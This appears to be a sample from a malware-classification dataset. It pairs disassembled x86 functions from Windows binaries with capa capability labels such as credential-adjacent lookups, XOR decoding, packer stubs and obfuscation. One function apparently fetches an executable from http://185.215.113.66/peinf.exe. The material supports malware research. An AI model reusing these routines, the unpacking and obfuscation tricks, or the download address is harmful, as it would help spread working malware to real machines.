joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10056259
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100563be
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x100562e0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x100562a3
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 2
jg 0x100562db
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x100562d9
push 1
push 0x3ee8
push 1
push 0x7bda
push 1
push 0x6bba
push 0x14f8
call fcn.1005181a
add esp, 0x1c
jmp 0x10056298
jmp 0x100563bc
mov dword [ebp - 0x18], 0xbce
mov dword [ebp - 0x2c], 0x1000db80
cmp dword [ebp - 0x18], 0xcc4
jle 0x10056387
and dword [ebp - 0x14], 0
jmp 0x10056308
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x264e
jge 0x1005637d
and dword [ebp - 0xc], 0
jmp 0x1005631e
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x801f
jge 0x1005637b
and dword [ebp - 0x10], 0
jmp 0x10056334
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x3b15
jge 0x10056379
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
or eax, dword [ebp - 0x14]
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x54]
call fcn.100208ae
jmp 0x1005632d
jmp 0x10056317
jmp 0x10056301
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov byte [ebp - 2], 0
cmp dword [ebp - 0x18], 0x87f
jge 0x1005639d
push dword [ebp - 0x2c]
call fcn.1006abb3
pop ecx
push 0x2f3c
push 1
push 0
lea eax, [ebp - 2]
push eax
push 0x43ce
push 0x7a99
call fcn.100436f9
add esp, 0x18
jmp 0x100563df
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x34], eax
push 0x75aa
push 0
push dword [ebp - 0x30]
push dword [ebp - 0x34]
call fcn.100511a3
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x10056b6f
Capabilities:
Connect pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x10], 0x61ce
mov dword [ebp - 0x14], 0x1000dd28
cmp dword [ebp - 0x10], 0x6450
jle 0x10056c0a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
and dword [ebp - 4], 0
jmp 0x10056ba3
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x3dca
jge 0x10056c00
and dword [ebp - 8], 0
jmp 0x10056bb9
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x4467
jge 0x10056bfe
and dword [ebp - 0xc], 0
jmp 0x10056bcf
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x3105
jge 0x10056bfc
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
shl eax, cl
cdq
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x10056bc8
jmp 0x10056bb2
jmp 0x10056b9c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 1
push 0x10ee
push dword [ebp + 8]
push 1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.10056c3e
add esp, 0x18
cmp dword [ebp - 0x10], 0x5fc3
jge 0x10056c3a
mov edx, dword [ebp - 0x14]
mov ecx, 0x10085b58
call fcn.10023628
mov esp, ebp
pop ebp
ret
Function at 0x100626d9
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10062857
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], 0x60eb
mov dword [ebp - 0x24], 0x1000e9e0
cmp dword [ebp - 0x18], 0x6303
jle 0x1006277e
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
and dword [ebp - 0xc], 0
jmp 0x10062723
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x54b4
jge 0x1006277e
and dword [ebp - 0x10], 0
jmp 0x10062739
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x4851
jge 0x1006277c
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 0x10]
cdq
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x64]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x64]
call fcn.100208ae
jmp 0x10062732
jmp 0x1006271c
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x18], 0x60a7
jge 0x10062796
push dword [ebp - 0x24]
call fcn.1006abb3
pop ecx
lea eax, [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x1006280a
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
push 0
mov ecx, dword [ebp - 0x14]
call fcn.10020c90
and dword [eax], 0
jmp 0x100627d9
push 0
mov ecx, dword [ebp - 0x14]
call fcn.10020c90
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
push 0
mov ecx, dword [ebp - 0x14]
call fcn.10020c90
cmp dword [eax], 0x1a
jge 0x10062808
mov byte [ebp - 1], 0
push 1
push 0x1aa1
lea eax, [ebp - 1]
push eax
push 0x12be
push 1
call fcn.100605f1
add esp, 0x14
jmp 0x100627c1
jmp 0x10062855
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x10062838
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 2
jge 0x10062855
mov eax, dword [ebp - 8]
push dword [eax]
mov ecx, dword [ebp - 0x44]
call fcn.10020c90
mov dword [eax], 0x872d9ee1
jmp 0x1006282d
jmp 0x1006286b
push 0x5ad9
push 0x58cc
push 1
call fcn.10042e57
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x1007b06f
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10084750]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1006e278
mov dword [ebp - 0x14], eax
cmp dword [0x10086bb4], esi
jne 0x1007b162
push 0x800
push esi
push 0x1000675c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1007b0ef
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1007b242
push esi
push esi
push 0x1000675c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1007b242
push 0x10006774
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1007b242
push eax
call ebx
push 0x10006780
push edi
mov dword [0x10086bb4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10006790
push edi
mov dword [0x10086bb8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100067a4
push edi
mov dword [0x10086bbc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10086bc4], eax
test eax, eax
je 0x1007b15f
push 0x100067c0
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10086bc0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1007b187
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1007b17a
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1007b19c
push 4
pop eax
jmp 0x1007b244
cmp dword [ebp - 0x14], esi
je 0x1007b19c
push dword [0x10086bb4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1007b181
mov eax, dword [0x10086bc0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1007b1fa
cmp dword [0x10086bc4], edi
je 0x1007b1fa
push eax
call ebx
push dword [0x10086bc4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1007b1fa
test eax, eax
je 0x1007b1fa
call ecx
test eax, eax
je 0x1007b1ef
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1007b1ef
test byte [ebp - 8], 1
jne 0x1007b1fa
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1007b22a
mov eax, dword [0x10086bb8]
cmp eax, edi
je 0x1007b227
push eax
call ebx
test eax, eax
je 0x1007b227
call eax
mov esi, eax
test esi, esi
je 0x1007b227
mov eax, dword [0x10086bbc]
cmp eax, edi
je 0x1007b227
push eax
call ebx
test eax, eax
je 0x1007b227
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x10086bb4]
call ebx
test eax, eax
je 0x1007b242
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1007b244
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1006b78a
mov esp, ebp
pop ebp
ret
Function at 0x401360
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x208]
push ecx
push 0x4022b0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.5235235626.txt
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_wcscat
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4013c1
xor al, al
jmp 0x4013fb
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x4013f9
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401400
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x208]
push ecx
push 0x4022e4
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.windrx.txt
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_wcscat
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401461
xor al, al
jmp 0x40149b
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x401499
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x4014a0
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401360
movzx eax, al
test eax, eax
je 0x40152c
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401400
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea edx, [ebp - 0x410]
push edx
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x410]
push eax
push str._swindrx.txt
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40152c
push str.http:__185.215.113.66_peinf.exe
call fcn.004010b0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x100059c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax - 0x3c35b], al
inc dword [eax]
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
invalid
test dword [edx - 4], eax
invalid

Function at 0x100072a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
pop eax
mov edi, eax
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.100050d0
rcr ch, cl
push ds
xchg byte [ecx - 0x75], cl
xor al, 0x8b
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x100072bd
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x100072bd
call fcn.100050d0
mov bl, 0x92
sub eax, 0x245a8b34
mov ebx, dword [edx + 0x24]
add ebx, edi
mov cx, word [ebx + ecx*2]
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.100050d0
out dx, al
adc dword [esi], ebp
mov eax, dword [0xff0875ff]
jne 0x10007306
push dword [ebp]
call fcn.100058d0
add byte [eax], dl
jmp 0x100072df
invalid

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x6454117e
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x19846713
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x41e840
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x414015
lea edi, [esi - 0x13015]
push edi
or ebp, 0xffffffff
jmp 0x41e862
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41e869
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41e858
mov eax, 1
add ebx, ebx
jne 0x41e87b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41e870
jne 0x41e88c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41e870
xor ecx, ecx
sub eax, 3
jb 0x41e8a0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41e912
mov ebp, eax
add ebx, ebx
jne 0x41e8ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41e8b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41e8dc
inc ecx
add ebx, ebx
jne 0x41e8c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41e8bd
jne 0x41e8d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41e8bd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41e8fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41e8ed
jmp 0x41e85e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41e8fc
add edi, ecx
jmp 0x41e85e
pop esi
mov edi, esi
mov ecx, 0x42a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41e91a
cmp byte [edi], 6
jne 0x41e91a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41e91f
lea edi, [esi + 0x1c000]
mov eax, dword [edi]
or eax, eax
je 0x41e98e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1e680]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1e70c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41e94c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1e710]
or eax, eax
je 0x41e988
mov dword [ebx], eax
add ebx, 4
jmp 0x41e969
call dword [esi + 0x1e720]
mov ebp, dword [esi + 0x1e714]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41e9c2
sub esp, 0xffffff80
jmp 0x406b70
Function at 0x408965
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
call fcn.00408995
add ecx, eax
add eax, eax
xor dword [edi], edx
sub ecx, 0x7e95967e
add edi, 1
add ecx, 0xa1a4a4bb
cmp edi, esi
jne fcn.00408965
add eax, eax
push 0x4e12789f
pop eax
ret
Function at 0x10009bc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
cmp ecx, 0x40
jae 0x10009bcf
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x10009bcb
push esi
mov esi, dword [eax + 0x3c]
test esi, esi
js 0x10009beb
lea edx, [esi + 0x18]
cmp ecx, edx
jae 0x10009bf0
xor eax, eax
pop esi
pop ebp
ret
add esi, eax
push edi
movzx eax, word [esi + 0x14]
add edx, eax
cmp dword [esi], 0x4550
jne 0x10009c23
movzx eax, word [esi + 4]
mov edi, 0x14c
cmp ax, di
je 0x10009c19
mov edi, 0x8664
cmp ax, di
jne 0x10009c23
cmp ecx, edx
jbe 0x10009c23
pop edi
mov eax, esi
pop esi
pop ebp
ret
pop edi
xor eax, eax
pop esi
pop ebp
ret

Function at 0x10009cc0
Capabilities:
Get number of processors
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
jne 0x10009cd1
mov eax, 0x1d
pop ebp
ret
push 0
push 0x8000000
push 3
push 0
push 1
push closesocket
push eax

Function at 0x10009ce4
Capabilities:
Get number of processors
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20cc
push ebx
push esi
push edi
push edx
and edx, 0x5aff
or edx, 0x11453
sub edx, 0x12789
sub edx, 0x13de5
pop edx
push edi
push edi
add esp, 4
invalid

Function at 0x10009d60
Capabilities:
Get number of processors
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
add byte [eax], al
add byte [esi - 0x77], ah
xchg ebp, eax
add ah, al
invalid

Function at 0x10009e80
Capabilities:
Get number of processors
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
cmp al, byte [ecx]
add byte [ecx + 0x33bfee], al
add byte [esi + 0x56], bl
sub esi, 0xf3e1
sub esi, 0xc2b1
pop esi
push ecx
add ecx, 0xd8ed
pop ecx
push edi
sub edi, 0x13d30
pop edi
imul edx, dword [ebp - 0x10], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0x10], 0xfe
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0xfe
Function at 0x1000d7a0
Capabilities:
Get number of processors
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
and ebx, 0x12e67
pop ebx
push ecx
push edi
add esp, 4
and ecx, 0xdf08
sub ecx, 0x10ca4
pop ecx
push esi
sub esi, 0x1135

Function at 0x1000d7c0
Capabilities:
Get number of processors
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
and esi, 0x16cf9
pop esi
mov edx, dword [ebp - 0xc84]
sub edx, 1
mov dword [ebp - 0xc84], edx
mov eax, dword [ebp - 0xad0]
add eax, 1
mov dword [ebp - 0xad0], eax
mov ecx, dword [ebp - 0xacc]
add ecx, 1
invalid
invalid
Function at 0x10010293
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop edx
push esi
call 0x100102a8
add byte [ebx + 0x4a], al
inc esp
cmp byte [ebx], bh
xor al, byte [edx + 0x4f]
aaa
push eax
add esp, 4
and esi, 0xfcf
pop esi
mov edx, dword [ebp - 0x520]
mov dword [ebp - 0x2f4], edx
jmp 0x10010328

Function at 0x100102a8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop edx
push esi
call 0x100102a8
add byte [ebx + 0x4a], al
inc esp
cmp byte [ebx], bh
xor al, byte [edx + 0x4f]
aaa
push eax
add esp, 4
and esi, 0xfcf
pop esi
mov edx, dword [ebp - 0x520]
mov dword [ebp - 0x2f4], edx
jmp 0x10010328

Function at 0x100102d1
Capabilities:
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
add esp, 4
call 0x100102e0
add byte [edi], dh
cmp al, 0x3f
cmp byte [esi + 0x32], cl
add esp, 4
sub ebx, 0x973e
pop ebx
push edi
xor edi, 0xbd93
pop edi
mov eax, dword [ebp - 0x520]
mov ecx, dword [eax]
mov dword [ebp - 0x520], ecx
mov edx, dword [ebp - 0x520]
cmp edx, dword [ebp - 0xce4]
je 0x1001031e
mov eax, dword [ebp - 0x520]
cmp dword [eax + 0x30], 0
jne 0x100100e9
mov dword [ebp - 0x2f4], 0

Function at 0x100102e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
call 0x100102e0
add byte [edi], dh
cmp al, 0x3f
cmp byte [esi + 0x32], cl
add esp, 4
sub ebx, 0x973e
pop ebx
push edi
xor edi, 0xbd93
pop edi
mov eax, dword [ebp - 0x520]
mov ecx, dword [eax]
mov dword [ebp - 0x520], ecx
mov edx, dword [ebp - 0x520]
cmp edx, dword [ebp - 0xce4]
je 0x1001031e
mov eax, dword [ebp - 0x520]
cmp dword [eax + 0x30], 0
jne 0x100100e9
mov dword [ebp - 0x2f4], 0
Function at 0x1002cb50
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov edx, dword [esi + 8]
mov dword [ebp - 0x10], edx
movzx eax, word [edx + 0x14]
lea ecx, [edx + 0x18]
add ecx, eax
or eax, 0xffffffff
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 4], eax
xor ebx, ebx
mov dword [ebp - 0xc], eax
movzx eax, word [edx + 6]
mov dword [ebp - 0x14], eax
cmp ax, 0x60
movzx eax, ax
jb 0x1002cb92
mov eax, 0x60
cmp ebx, eax
jge 0x1002cc27
mov eax, dword [esi + 4]
cmp eax, 0x28
jb 0x1002cc1b
mov edx, dword [esi]
cmp ecx, edx
jb 0x1002cc1b
add eax, 0xffffffd8
add eax, edx
cmp ecx, eax
ja 0x1002cc1b
mov eax, dword [ebp - 8]
mov edx, dword [ecx + 0xc]
cmp eax, edx
cmova eax, edx
cmp dword [ebp + 0x10], 0
mov dword [ebp - 8], eax
jb 0x1002cc0f
ja 0x1002cbcc
cmp dword [ebp + 0xc], edx
jb 0x1002cc0f
cmp dword [ebp - 4], edx
ja 0x1002cc0f
mov eax, dword [ebp - 0x10]
mov esi, 0x200
mov edi, dword [ecx + 0x14]
mov dword [ebp - 4], edx
mov eax, dword [eax + 0x3c]
cmp eax, esi
cmovb esi, eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0xc], eax
test esi, esi
je 0x1002cc0c
xor edx, edx
mov eax, edi
div esi
mov esi, dword [ebp + 8]
test edx, edx
je 0x1002cc0f
mov eax, dword [ebp - 0x14]
sub edi, edx
add ecx, 0x28
inc ebx
jmp 0x1002cb84
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 0x14]
add ecx, 0x28
inc ebx
jmp 0x1002cb84
pop edi
or eax, 0xffffffff
pop esi
or edx, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x10], 0
ja 0x1002cc46
jb 0x1002cc37
mov eax, dword [ebp - 8]
cmp dword [ebp + 0xc], eax
jae 0x1002cc46
mov eax, dword [esi + 4]
xor edx, edx
mov dword [ebp - 4], edx
xor edi, edi
mov dword [ebp - 0xc], eax
jmp 0x1002cc49
mov edx, dword [ebp - 4]
mov ebx, dword [ebp + 0xc]
mov ecx, ebx
mov eax, dword [ebp + 0x10]
sub ecx, edx
sbb eax, 0
test eax, eax
jb 0x1002cc61
ja 0x1002cc1b
cmp ecx, dword [ebp - 0xc]
jae 0x1002cc1b
xor edx, edx
sub edi, dword [ebp - 4]
sbb edx, edx
add edi, ebx
adc edx, dword [ebp + 0x10]
js 0x1002cc76
jg 0x1002cc1b
cmp edi, dword [esi + 4]
jae 0x1002cc1b
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret